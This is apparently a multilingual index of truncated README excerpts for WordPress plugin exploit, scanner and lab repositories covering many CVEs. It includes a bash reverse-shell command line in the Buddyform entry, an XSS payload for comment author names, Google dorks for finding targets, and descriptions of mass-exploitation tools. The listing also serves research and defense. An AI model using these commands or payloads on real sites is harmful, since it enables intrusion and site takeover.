CVE-2026-105397: Improper Neutralization of Input During Web Page Generation

LearnPress plugin for WordPress through 4.4.9.1 contains a stored cross-site scripting vulnerability that allows authenticated instructors to inject scripts via quiz question hint and explanation fields. Attackers with the Instructor role can submit unsanitized payloads through the updatequestion...

CVE-2025-39436

🚨 WordPress 插件漏洞：CVE-2025-39436 📝 描述 在“I Draw”WordPress 插件中存在一个危险类型文件的不受限制上传 漏洞。此漏洞允许攻击者不受限制地上传恶意文件。该问题影响 I Draw 版本 1.0 及之前版本 。 🛠️ 漏洞详情 该漏洞利用插件的文件上传功能来执行 PHP 有效载荷。以下是使用的默认有效载荷： phpcode = "" 🚀 使用方法 usage: CVE-2025-39436.py -h -u URL -un USERNAME -p PASSWORD options: -h, --help 显示此帮助信息并退出 -u, --url...

CVE-2024-4439

CVE-2024-4439 CVE-2024-4439 docker and poc 靶场设置 启动docker容器后还需要一些设置 访问127.0.0.1:8080，完成配置后 在后台-外观-主题中，选中一个主题，自定义，进行设置 进入设计-模版-单篇文章 右边选中头像，进入主题编辑器 先点击头像，然后右上方点击设置，右方有两个属性，链接到用户个人资料和在新窗口打开，把两个按钮勾选上 发布任意文章后，就可以进行评论，在评论中把作者的名字换成xss恶意语句 " onmouseover="alert1" 参考 CVE-2024-4439 Wordpress XSS存储型漏洞复现 - 先知社...

WP-CVE-2025-4322---Scan

Uso Normal Test python3 wp-backdoor-remote-scan.py https://misitio.com con output JSON python3 wp-backdoor-remote-scan.py https://misitio.com --json Ajustar threads y timeout para sitios con rate limit python3 wp-backdoor-remote-scan.py https://misitio.com --threads 5 --timeout 15...

CVE-2024-12542

CVE-2024-12542 linkID = 0.1.2 - Falta de autorización para la exposición no autenticada de información sensible Descripción El plugin linkID para WordPress es vulnerable al acceso no autorizado a datos debido a la falta de una comprobación de capacidades al incluir la función 'phpinfo' en todas l...

CVE-2024-10924

CVE-2024-10924 漏洞利用 WordPress Really Simple Security 插件 - 身份验证绕过 📌 概述 CVE-2024-10924 是一个关键的身份验证绕过漏洞，存在于 WordPress 的 Really Simple Security 插件中（版本 9.0.0 到 9.1.1.1）。该漏洞允许未经身份验证的攻击者通过利用双因素认证（2FA）API 中的缺陷，以任何用户（包括管理员）身份登录。 CVE 编号: CVE-2024-10924 严重程度: 🔥 严重 CVSS 9.8 受影响版本: Really Simple Security 9.0.0...

CVE-2026-19598-

CVE-2026-19598 — Pods WordPress Plugin Unauthenticated Privilege Escalation -red.svg Critical Unauthenticated Privilege Escalation CVSS 9.8 — WordPress Pods Plugin ≤ 3.3.9 This tool exploits CVE-2026-19598 , a vulnerability in the WordPress Pods plugin that allows unauthenticated attackers to...

CVE-2015-1579

CVE-2015-1579 - WP Revslider AFD Exploit: Wordpress Slider Revolution Responsive = 4.1.4: Fecha de la vulnerabilidad: 24/07/2014 Autor del exploit: anarc0der Versión: Wordpress Slider Revolution Responsive = 4.1.4 CVE : CVE-2015-1579 Cómo usar: python3 xpl.py --url='target' Ejemplos de objetivos...

WordPressMassExploiter

WordPressMassExploiter Explotador masivo de CVE-2015-1579 para WordPress CMS Este explotador masivo está basado en CVE-2015-1579, descubierto por CLAUDIO VIVIANI https://www.exploit-db.com/exploits/36554/ Cómo funciona: 1 - Uso el framework Selenium para realizar la búsqueda en Google. 2 - Los...

CVE-2024-2876

CVE-2024-2876 - Vulnerabilidad de Inyección SQL en Email Subscribers by Icegram Express Resumen CVE-2024-2876 es una vulnerabilidad de seguridad crítica encontrada en el plugin "Email Subscribers by Icegram Express" para WordPress. Esta vulnerabilidad afecta a las versiones hasta la 5.7.14...

CVE-2023-26326_Buddyform_exploit

usage: python exploit.py "/wp-admin/admin-ajax.php" 'bash -c "bash -i & /dev/tcp// 0&1"' Originalmente, CVE-2023–26326 requería cadenas de gadgets para explotarla como una vulnerabilidad de deserialización. Este método ya no es viable en sitios WordPress más nuevos que ejecutan PHP 8+; sin embarg...

CVE-2025-68860

CVE-2025-68860 WordPress Mobile builder 插件 使用替代路径或渠道绕过身份验证 漏洞存在于 Mobile Builder 中，可导致身份验证滥用。此漏洞影响 Mobile builder 从 n/a 到 1.4.2 版本。 CVSS 评分： 9.8 严重 向量： AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H 远程攻击者可以构造有效身份验证令牌，无需任何预先交互或凭证即可获取管理员访问权限，从而导致 WordPress 安装完全沦陷。 ⚙️ 脚本说明 CVE-2025-68860.py 是一个完全自动化的漏洞利用脚本，针对...

CVE-2026-8181

英文： 用于 Burst Statistics 认证绕过的 授权安全测试 的受控 PoC 和简要技术说明。 土耳其语： Burst Statistics 插件中身份验证绕过的 授权安全测试 用受控 PoC 和简要技术总结。 项目概览 / 项目总结...

WSS

WSS: Escáner de seguridad de WordPress Python : soporte 3.13.x Sistemas operativos : soporte Kali Linux última versión Ubuntu última versión Windows 10, 11 WSS:En modo de desarrollo!!! Google Dorks ¡ADVERTENCIA! ¡Cada acción maliciosa de tu parte será tu responsabilidad! index of" inurl:wp-conten...

CVE-2014-4725

CVE-2014-4725 此脚本用于扫描和利用 WordPress 中 CVE-2014-4725 漏洞（mailpoet/wysija newsletters）。 功能 扫描模式 检测对 CVE-2014-4725 易受攻击的 WordPress 目标 利用模式 向易受攻击的目标上传 zip 载荷 安装 1. 克隆仓库： git clone https://github.com/username/CVE-2014-4725.git cd CVE-2014-4725 2. 安装依赖： pip install requests 使用 扫描目标 python exploit.py --sc...

Mass-CVE-2023-28121-kdoec

CVE-2023-28121 Pagos de WooCommerce 5.6.2 - Escalada de privilegios no autenticada Añadir usuario administrador masivo Cómo usar Este script usa Python3. Instala los requisitos pip install -r requirements.txt Referencia https://wpscan.com/vulnerability/0f78a245-866c-462e-bd23-43dfadb57072...

CVE-2025-39459-Nuclei-Template

📄 CVE-2025-39459 的 Nuclei 模板 🚀 概述 本仓库包含一个专为检测 Real Estate 7 WordPress 主题 中的 未认证权限提升漏洞 CVE-2025-39459 而设计的 Nuclei 模板。该漏洞允许未认证的攻击者通过存在缺陷的 AJAX 操作注册为管理员。 🔍 漏洞描述 CVE-2025-39459 源于 Real Estate 7 WordPress 主题 版本 3.5.2 及更早版本中对 ctaddnewmember AJAX 操作缺少授权检查。这允许未认证的攻击者通过操控 ctuserrole 参数以管理员权限注册。 🛑 受影响版本 Re...

CVE-2026-81648

abraxaslabs.tech · github.com/abraxas · @abraxasnull · [email protected] · CVE-2026-81648 CVE-2026-81648 CryptoPayment Gateway 1.2.2 - Granwill I am @abraxasnull. Loopback lab. The client is CVE-2026-81648-Abraxas-Labs.py. The guard is never called. Direct POST vendor/cryptd/ajax.php, not...

CVE-2026-84434

CVE-2026-84434 — Carga arbitraria de archivos no autenticada en Gravity Forms Escáner y exploit PoC en Python 3 para CVE-2026-84434 en Gravity Forms. | ---|--- Plugin| gravityforms Afectado| ≤ 3.1.0.4 Corregido en| 3.1.0.5+ versión de seguridad del proveedor 3.1.1 CVSS| 9.8 Crítico Auth| No...

WP2Shell-Scanner

Escáner WP2Shell Una herramienta de línea de comandos que comprueba si un sitio WordPress está expuesto a WP2Shell CVE-2026-63030 y CVE-2026-60137. Lee la versión de WordPress y la superficie de la API REST mediante peticiones de solo lectura y emite un veredicto. No explota nada. !WARNING Solo...